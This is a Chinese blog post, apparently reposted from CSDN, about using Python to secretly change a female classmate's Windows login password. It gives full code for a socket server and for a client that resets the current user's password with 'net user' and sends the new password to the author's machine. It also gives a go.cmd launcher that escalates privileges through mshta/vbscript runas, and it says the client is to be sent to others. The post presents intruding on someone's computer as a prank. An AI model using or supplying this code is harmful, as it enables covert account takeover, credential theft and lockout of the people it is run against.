Python还能这么玩之用Python修改了班花的开机密码
作者:五包辣条! 发布时间:2023-11-23 17:38:40
标签:Python,修改,开机密码
一、前言
班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。
二、工具准备
开发环境:win10、python3.7
开发工具:pycharm
三、项目思路解析
一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)
该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)
首先正常流程创建服务端的服务
服务端流程:
创建套接字
-绑定ip和端口
-设置监听
-等待链接
-接受数据打印数据
-关闭链接
import socket # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444)) # 绑定IP/端口
server.listen(5) # 监听
print('***********等待连接*********')
conn, addr = server.accept() # 连接
print(conn)
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()
windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)
客户端流程:
创建套接字
-连接服务端的IP和端口
-获取当前使用的电脑账户名
-生成随机的电脑密码
-在终端执行修改Windows密码的指令
-发送修改之后的密码
-关闭套接字
import socket # 导入用到的模块
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口)) # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser() # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) # 将密码发送给server端
back_msg = client.recv(1024)
client.close() # 关闭socket
到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。
非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd
@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"
start python client.py
四、小结
最后我修改密码成功登陆,竟然发现了她的密码!
这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!
PS:最后我啥都没动改回去了!
来源:https://blog.csdn.net/AI19970205/article/details/117417156


猜你喜欢
- 1.Ansible Inventory 介绍;Ansible Inventory 是包含静态 Inventory 和动态 Inv
- GitHub 无疑是代码托管领域的先行者,Python 作为一种通用编程语言,已经被千千万万的开发人员用来构建各种有意思或有用的项目。以下我
- 1. 带默认值的参数在了解带星号(*)的参数之前,先看下带有默认值的参数,函数定义如下:>> def defaultValueA
- RegMail是用来存放注册邮件的表,现以创建时间(CreateTime)字段来给表进行分区,具体步骤如下:--为分区创建存储文件 
- 之前需要做一些目标检测的训练,需要自己采集一些数据集,写了一个小demo来实现图片的采集使用方法:指定name的名称,name为分类的标签按
- 这篇文章主要介绍了python实现XML解析的方法解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋
- 在python中,通过导入random库,就能使用randint 和 randrange这两个方法来产生随机整数。那这两个方法的区别在于什么
- 抽象特点Python 一切皆对象,基于此概念,对 类 class 有以下特点:类与实例的属性类对象创建可选择定义类属性,创建实例对象时,实例
- 效果图展示:源码查看【功能说明】利用insertBefore制作简单的循环插空效果【HTML代码说明】<ul class="
- 之前给大家介绍过python高手之路python处理excel文件(方法汇总) Python操作Excel之xlsx文件&nbs
- 效果如下:(动态效果可复制代码查看,案例中的图片可自行选择添加)代码如下:<!DOCTYPE html><html lan
- 1.概述mysql-monitor MYSQL 监控工具,优化工具,各种工具为一体的java spring boot 项目git地址:htt
- 一、汉诺塔问题1. 问题来源问题源于印度的一个古老传说,大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄
- 一、Python中global与nonlocal 声明如下代码a = 10 def foo(): a = 100执行foo() 结果 a
- 字符串的相似性比较应用场合很多,像拼写纠错、文本去重、上下文相似性等。评价字符串相似度最常见的办法就是:把一个字符串通过插入、删除或替换这样
- 需求:给定一个数组和一个正整数,要求把数组分割成多个正整数大小的数组,如果不够分,则最后一个数组分到剩余的所有元素。示例1:数组:[1, 2
- 最近决定把MT的后台数据从Berkeley的文件DB转到MySQL。原因之一是使用关系数据库可以获得更多的灵活性,比如运行一条sql来变更
- 01 并行复制的概念 在MySQL的主从复制架构中,主库上经常会并发的执行很多SQL,只要这些SQL没有产生锁等待,
- Django的View一个视图函数(类),简称视图,是一个简单的Python 函数(类),它接受Web请求并且返回Web响应。响应可以是一张
- 我见到有的网站好像可以把数据库的记录读到表格里去,是这样的吗?如何做到的?可能是这样的,因为我们确实能把数据库里的记录用表格来储存,看看下面